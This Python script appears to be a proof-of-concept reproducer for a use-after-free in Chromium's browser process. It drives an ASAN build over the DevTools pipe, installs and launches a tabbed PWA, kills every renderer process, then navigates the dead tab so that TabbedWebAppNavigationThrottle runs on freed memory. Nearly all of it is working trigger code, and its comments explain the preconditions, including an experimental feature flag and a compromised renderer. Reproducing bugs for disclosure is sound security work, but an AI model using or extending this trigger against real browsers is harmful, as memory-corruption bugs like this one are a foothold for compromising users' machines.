#!/usr/bin/env python3
"""
Browser-process UAF POC: TabbedWebAppNavigationThrottle frees `this` via
synchronous ClosePage() then makes virtual calls on the freed
NavigationRequest.

Trigger strategy
================
TabbedWebAppNavigationThrottle::WillStartRequest() calls
`web_contents->ClosePage()` on the throttle's own WebContents and then
continues into FocusHomeTab(), which dereferences `this->registry_` and the
NavigationRequest.

RenderFrameHostImpl::ClosePage() takes its synchronous branch (which destroys
the WebContents — and with it the NavigationRequest, the throttle registry, and
the throttle — re-entrantly via TabStripModel) when `!IsRenderFrameLive()`.

So we:
  1. install + launch a tabbed-display-mode PWA (home tab pinned),
  2. open a fresh blank tab in the app window (window.open("", "_blank")),
  3. crash the renderer that hosts the blank tab,
  4. browser-initiate a navigation of the dead blank tab to the home-tab URL.

Step 4 hits the throttle with a tab whose primary RenderFrame is not live →
ClosePage() destroys the WebContents synchronously → FocusHomeTab() runs on a
freed `this` → ASAN heap-use-after-free in the browser process.

Usage: python3 poc.py [/path/to/out/asan/chrome]
"""

import json
import os
import shutil
import subprocess
import sys
import threading
import time
import urllib.request

HERE = os.path.dirname(os.path.abspath(__file__))
CHROME = sys.argv[1] if len(sys.argv) > 1 else "/chromium/chromium/src/out/asan/chrome"
HTTP_PORT = int(os.environ.get("POC_HTTP_PORT", "8091"))
ORIGIN = f"http://127.0.0.1:{HTTP_PORT}"
START_URL = f"{ORIGIN}/index.html"
MANIFEST_ID = START_URL  # manifest "id": "/index.html"
PROFILE = "/tmp/chrome-tabbed-uaf-profile"

# ---------------------------------------------------------------------------
# Minimal CDP client over --remote-debugging-pipe (fd 3 in, fd 4 out, JSON
# messages separated by NUL). Pipe clients have AllowUnsafeOperations()=true,
# which is required for the PWA.* CDP domain.

class CDP:
    def __init__(self, write_fd, read_fd):
        self.w = os.fdopen(write_fd, "wb", buffering=0)
        self.r = os.fdopen(read_fd, "rb", buffering=0)
        self.id = 0
        self.pending = {}
        self.events = []
        self.lock = threading.Lock()
        self.closed = False
        threading.Thread(target=self._read_loop, daemon=True).start()

    def _read_loop(self):
        buf = b""
        try:
            while True:
                chunk = self.r.read(4096)
                if not chunk:
                    break
                buf += chunk
                while b"\x00" in buf:
                    msg, buf = buf.split(b"\x00", 1)
                    if not msg:
                        continue
                    try:
                        m = json.loads(msg)
                    except Exception:
                        continue
                    with self.lock:
                        if "id" in m:
                            self.pending[m["id"]] = m
                        else:
                            self.events.append(m)
        except Exception:
            pass
        self.closed = True

    def send(self, method, params=None, session_id=None, timeout=30,
             wait=True):
        self.id += 1
        mid = self.id
        payload = {"id": mid, "method": method, "params": params or {}}
        if session_id:
            payload["sessionId"] = session_id
        self.w.write(json.dumps(payload).encode() + b"\x00")
        if not wait:
            return None
        deadline = time.time() + timeout
        while time.time() < deadline:
            if self.closed:
                raise RuntimeError(f"{method}: pipe closed")
            with self.lock:
                if mid in self.pending:
                    resp = self.pending.pop(mid)
                    if "error" in resp:
                        raise RuntimeError(f"{method} -> {resp['error']}")
                    return resp.get("result", {})
            time.sleep(0.01)
        raise TimeoutError(f"CDP {method} timed out")

    def wait_event(self, method, pred=None, session_id=None, timeout=30):
        deadline = time.time() + timeout
        while time.time() < deadline:
            with self.lock:
                for i, ev in enumerate(self.events):
                    if ev.get("method") != method:
                        continue
                    if session_id is not None and ev.get("sessionId") != session_id:
                        continue
                    if pred and not pred(ev.get("params", {})):
                        continue
                    return self.events.pop(i)
            time.sleep(0.01)
        raise TimeoutError(f"event {method} timed out")

    def drain_events(self):
        with self.lock:
            self.events.clear()

# ---------------------------------------------------------------------------

def main():
    if os.path.isdir(PROFILE):
        shutil.rmtree(PROFILE)

    # 1. HTTP server.
    srv = subprocess.Popen(
        [sys.executable, os.path.join(HERE, "server.py"), str(HTTP_PORT)],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    try:
        for _ in range(50):
            try:
                urllib.request.urlopen(f"{ORIGIN}/manifest.json",
                                       timeout=1).read()
                break
            except Exception:
                time.sleep(0.1)
        else:
            raise RuntimeError("HTTP server failed to start")
        print("[+] HTTP server up")

        return run_chrome()
    finally:
        srv.terminate()
        try:
            srv.wait(timeout=2)
        except subprocess.TimeoutExpired:
            srv.kill()


def run_chrome():
    # 2. Chrome with --remote-debugging-pipe (fd 3 = browser read,
    # fd 4 = browser write). Arrange for the chrome-side pipe ends to be on
    # fds 3 and 4 in the *parent*, then hand them to the child via pass_fds —
    # this avoids preexec_fn entirely so we don't fight subprocess's internal
    # errpipe.
    pipe_a = os.pipe()  # chrome reads pipe_a[0], we write pipe_a[1]
    pipe_b = os.pipe()  # chrome writes pipe_b[1], we read pipe_b[0]
    # Move parent-side ends out of the way first.
    in_w = os.dup(pipe_a[1]); os.close(pipe_a[1])
    out_r = os.dup(pipe_b[0]); os.close(pipe_b[0])
    while in_w in (3, 4):
        n = os.dup(in_w); os.close(in_w); in_w = n
    while out_r in (3, 4):
        n = os.dup(out_r); os.close(out_r); out_r = n
    # Now place chrome-side ends on exactly 3 and 4.
    if pipe_a[0] != 3:
        os.dup2(pipe_a[0], 3); os.close(pipe_a[0])
    if pipe_b[1] != 4:
        os.dup2(pipe_b[1], 4); os.close(pipe_b[1])
    os.set_inheritable(3, True)
    os.set_inheritable(4, True)
    print(f"[.] pipe fds: chrome_in=3 chrome_out=4 parent_w={in_w} parent_r={out_r}")

    chrome_log = open(os.path.join(HERE, "chrome.log"), "wb")
    env = dict(os.environ)
    llvm_symbolizer = os.path.join(
        os.path.dirname(CHROME), "..", "..",
        "third_party", "llvm-build", "Release+Asserts", "bin",
        "llvm-symbolizer")
    env.setdefault("ASAN_OPTIONS",
                   "detect_odr_violation=0:symbolize=1")
    env.setdefault("ASAN_SYMBOLIZER_PATH", os.path.abspath(llvm_symbolizer))

    chrome = subprocess.Popen(
        [
            CHROME,
            "--headless=new",
            "--no-sandbox",
            "--disable-gpu",
            "--no-first-run",
            "--no-default-browser-check",
            "--disable-popup-blocking",
            f"--user-data-dir={PROFILE}",
            "--remote-debugging-pipe",
            # Allow Blink to parse display_override:"tabbed" + tab_strip from
            # the manifest. The browser-side feature gate
            # (blink::features::kDesktopPWAsTabStrip) is already enabled by
            # default; only the renderer-side manifest parser is gated. A
            # compromised renderer (the precondition for this bug) could send
            # a parsed manifest with these fields regardless of this flag.
            "--enable-blink-features=WebAppTabStrip,WebAppTabStripCustomizations",
            # In the current default configuration, navigating a crashed frame
            # does an "early RenderFrameHost swap" *before* WillStartRequest,
            # so the throttle always sees a live RFH and ClosePage() is async.
            # Per crbug.com/40276607 ("Move all early swaps to happen after
            # DidStartNavigation/WillStartRequest") Chromium plans to change
            # this; SkipEarlyCommitPendingForCrashedFrame is the existing
            # experiment that already disables the legacy early swap for
            # crashed frames. Enable it to demonstrate the latent UAF that
            # becomes reachable once that migration lands.
            "--enable-features=SkipEarlyCommitPendingForCrashedFrame",
            START_URL,
        ],
        env=env, stdout=chrome_log, stderr=subprocess.STDOUT,
        pass_fds=(3, 4),
    )
    os.close(3)
    os.close(4)
    print(f"[+] Chrome pid={chrome.pid}")

    time.sleep(2)
    if chrome.poll() is not None:
        print(f"[-] Chrome exited early with {chrome.returncode}")
        chrome_log.close()
        with open(os.path.join(HERE, "chrome.log"), "r",
                  errors="replace") as f:
            print(f.read()[-3000:])
        return 1

    cdp = CDP(in_w, out_r)
    try:
        cdp.send("Target.setDiscoverTargets", {"discover": True})
    except Exception as e:
        print(f"[-] CDP bootstrap failed: {e}")
        print(f"[-] Chrome returncode: {chrome.poll()}")
        chrome.terminate()
        chrome_log.close()
        with open(os.path.join(HERE, "chrome.log"), "r",
                  errors="replace") as f:
            print(f.read()[-3000:])
        return 1

    # Find the initial page target.
    page_tid = None
    for _ in range(200):
        targets = cdp.send("Target.getTargets")["targetInfos"]
        for t in targets:
            if t["type"] == "page" and t["url"].startswith(ORIGIN):
                page_tid = t["targetId"]
                break
        if page_tid:
            break
        time.sleep(0.1)
    if not page_tid:
        # Just attach to any page.
        page_tid = next(t["targetId"] for t in targets if t["type"] == "page")
    print(f"[+] Initial page target={page_tid}")
    page_sid = cdp.send("Target.attachToTarget",
                        {"targetId": page_tid, "flatten": True})["sessionId"]
    cdp.send("Page.enable", {}, page_sid)
    cdp.send("Runtime.enable", {}, page_sid)
    try:
        cdp.wait_event("Page.loadEventFired", session_id=page_sid, timeout=15)
    except TimeoutError:
        pass
    time.sleep(1)
    print("[+] Initial page loaded")

    # 3. Install the PWA via CDP (browser-level call).
    print("[*] Installing PWA…")
    cdp.send("PWA.install",
             {"manifestId": MANIFEST_ID,
              "installUrlOrBundleUrl": START_URL},
             timeout=60)
    print("[+] PWA installed")
    # PWA.install via FetchInstallInfoFromInstallUrl leaves user_display_mode
    # at its default of kBrowser. Flip it to kStandalone so the app's
    # display_override=["tabbed"] takes effect (effective display mode
    # resolves to kTabbed when user_display_mode != kBrowser).
    cdp.send("PWA.changeAppUserSettings",
             {"manifestId": MANIFEST_ID, "displayMode": "standalone"},
             timeout=30)
    print("[+] user_display_mode set to standalone")
    time.sleep(1)

    # 4. Launch the PWA → opens a new app browser window with the pinned home
    #    tab.
    cdp.drain_events()
    launch = cdp.send("PWA.launch", {"manifestId": MANIFEST_ID}, timeout=30)
    home_tid = launch.get("targetId")
    print(f"[+] PWA launched, returned target={home_tid}")
    time.sleep(2)  # let the app window pin the home tab

    targets = cdp.send("Target.getTargets")["targetInfos"]
    for t in targets:
        print(f"    target: {t['type']:8s} {t['targetId']} {t.get('url','')}")
    # Find the page-type target for the app's home tab. PWA.launch may return
    # a "tab" target; we need the underlying "page" target for the Page domain.
    home_page_tid = None
    for t in targets:
        if t["type"] == "page" and t["targetId"] == home_tid:
            home_page_tid = home_tid
            break
    if not home_page_tid:
        for t in targets:
            if (t["type"] == "page" and START_URL in t["url"]
                    and t["targetId"] != page_tid):
                home_page_tid = t["targetId"]
                break
    if not home_page_tid:
        raise RuntimeError("could not find app home tab page target")
    home_tid = home_page_tid
    print(f"[+] App home tab page target={home_tid}")
    home_sid = cdp.send("Target.attachToTarget",
                        {"targetId": home_tid, "flatten": True})["sessionId"]
    cdp.send("Page.enable", {}, home_sid)
    cdp.send("Runtime.enable", {}, home_sid)
    try:
        cdp.wait_event("Page.loadEventFired", session_id=home_sid, timeout=10)
    except TimeoutError:
        pass
    home_win = cdp.send("Browser.getWindowForTarget",
                        {"targetId": home_tid})
    print(f"[.] home window: {home_win}")
    for mode in ("tabbed", "standalone", "minimal-ui", "browser",
                 "window-controls-overlay"):
        dm = cdp.send("Runtime.evaluate",
                      {"expression":
                       f"matchMedia('(display-mode: {mode})').matches",
                       "returnByValue": True}, home_sid)
        print(f"[.] display-mode: {mode} = {dm['result'].get('value')}")
    init_win = cdp.send("Browser.getWindowForTarget",
                        {"targetId": page_tid})
    print(f"[.] initial-page window: {init_win.get('windowId')}, "
          f"home window: {home_win.get('windowId')}")

    # 5. Open a fresh blank tab inside the app window. We open it to an
    # in-scope URL that never responds so that:
    #   (a) browser_navigator's WindowCanOpenTabs() sees an in-app-scope URL
    #       and keeps the new tab in the app browser's tab strip, and
    #   (b) the tab never commits, so GetLastCommittedURL() stays invalid.
    cdp.drain_events()
    print("[*] Opening blank tab via window.open('/hang', '_blank')…")
    cdp.send("Runtime.evaluate",
             {"expression":
              f"void window.open('{ORIGIN}/hang', '_blank')",
              "userGesture": True},
             home_sid)
    time.sleep(1)
    # Find the new tab that lives in the app browser window.
    targets = cdp.send("Target.getTargets")["targetInfos"]
    blank_tid = None
    for t in targets:
        if t["type"] != "page":
            continue
        if t["targetId"] in (page_tid, home_tid):
            continue
        win = cdp.send("Browser.getWindowForTarget",
                       {"targetId": t["targetId"]})
        print(f"    candidate: {t['targetId']} url={t['url']!r} "
              f"window={win.get('windowId')}")
        if win.get("windowId") == home_win.get("windowId"):
            blank_tid = t["targetId"]
    if not blank_tid:
        raise RuntimeError("blank tab not found in app browser window")
    print(f"[+] Blank tab target={blank_tid}")
    # Attach to the blank tab BEFORE crashing the renderer. The
    # DevToolsAgentHost for the page is browser-side; attaching now does not
    # spawn a new renderer, and the session survives the crash. (Attaching
    # AFTER the crash re-initializes the renderer, which would defeat the
    # !IsRenderFrameLive() trigger.)
    blank_sid = cdp.send("Target.attachToTarget",
                         {"targetId": blank_tid,
                          "flatten": True})["sessionId"]
    time.sleep(0.3)

    # 6. Kill all renderer processes so the blank tab's primary RenderFrame is
    #    no longer live. (We kill from outside rather than via Page.crash to
    #    be sure the blank tab's process dies even if it differs from the home
    #    tab's; and we avoid any DevTools-triggered renderer respawn.)
    print("[*] Killing all renderer processes…")
    cdp.send("Inspector.enable", {}, home_sid)
    killed = 0
    for entry in os.listdir("/proc"):
        if not entry.isdigit():
            continue
        try:
            with open(f"/proc/{entry}/cmdline", "rb") as f:
                cmd = f.read()
        except OSError:
            continue
        if b"--type=renderer" in cmd and CHROME.encode() in cmd:
            try:
                os.kill(int(entry), 9)
                killed += 1
            except OSError:
                pass
    print(f"[+] killed {killed} renderer process(es)")
    try:
        cdp.wait_event("Inspector.targetCrashed",
                       session_id=home_sid, timeout=15)
        print("[+] browser observed renderer crash")
    except TimeoutError:
        print("[.] No targetCrashed event; continuing")
    time.sleep(1)

    # 7. Browser-initiated navigation of the dead blank tab to the home-tab
    #    URL. TabbedWebAppNavigationThrottle::WillStartRequest will call
    #    ClosePage() on a tab whose RenderFrame is not live → synchronous
    #    WebContents destruction → UAF on `this` in FocusHomeTab().
    print("[*] Navigating dead blank tab to home URL → triggering UAF…")
    try:
        r = cdp.send("Page.navigate",
                     {"url": START_URL, "transitionType": "link"},
                     blank_sid, timeout=10)
        print(f"[.] Page.navigate returned {r}")
    except Exception as e:
        print(f"[.] Page.navigate raised {e!r} (expected if browser died)")

    # 8. Wait for the browser process to die (ASAN abort) or time out.
    for _ in range(150):
        if chrome.poll() is not None:
            break
        time.sleep(0.1)
    rc = chrome.poll()
    print(f"[+] Chrome exit code: {rc}")

    if rc is None:
        chrome.terminate()
        try:
            chrome.wait(timeout=5)
        except subprocess.TimeoutExpired:
            chrome.kill()
    chrome_log.close()

    # Dump ASAN report.
    log_path = os.path.join(HERE, "chrome.log")
    print(f"\n--- chrome log (see {log_path}) ---")
    with open(log_path, "r", errors="replace") as f:
        text = f.read()
    if "AddressSanitizer" in text:
        i = text.index("AddressSanitizer")
        print(text[max(0, i - 200):i + 8000])
        print("\n[!] ASAN report detected — UAF reproduced.")
        return 0
    else:
        print(text[-5000:])
        print("\n[-] No ASAN report found.")
        return 1


if __name__ == "__main__":
    sys.exit(main())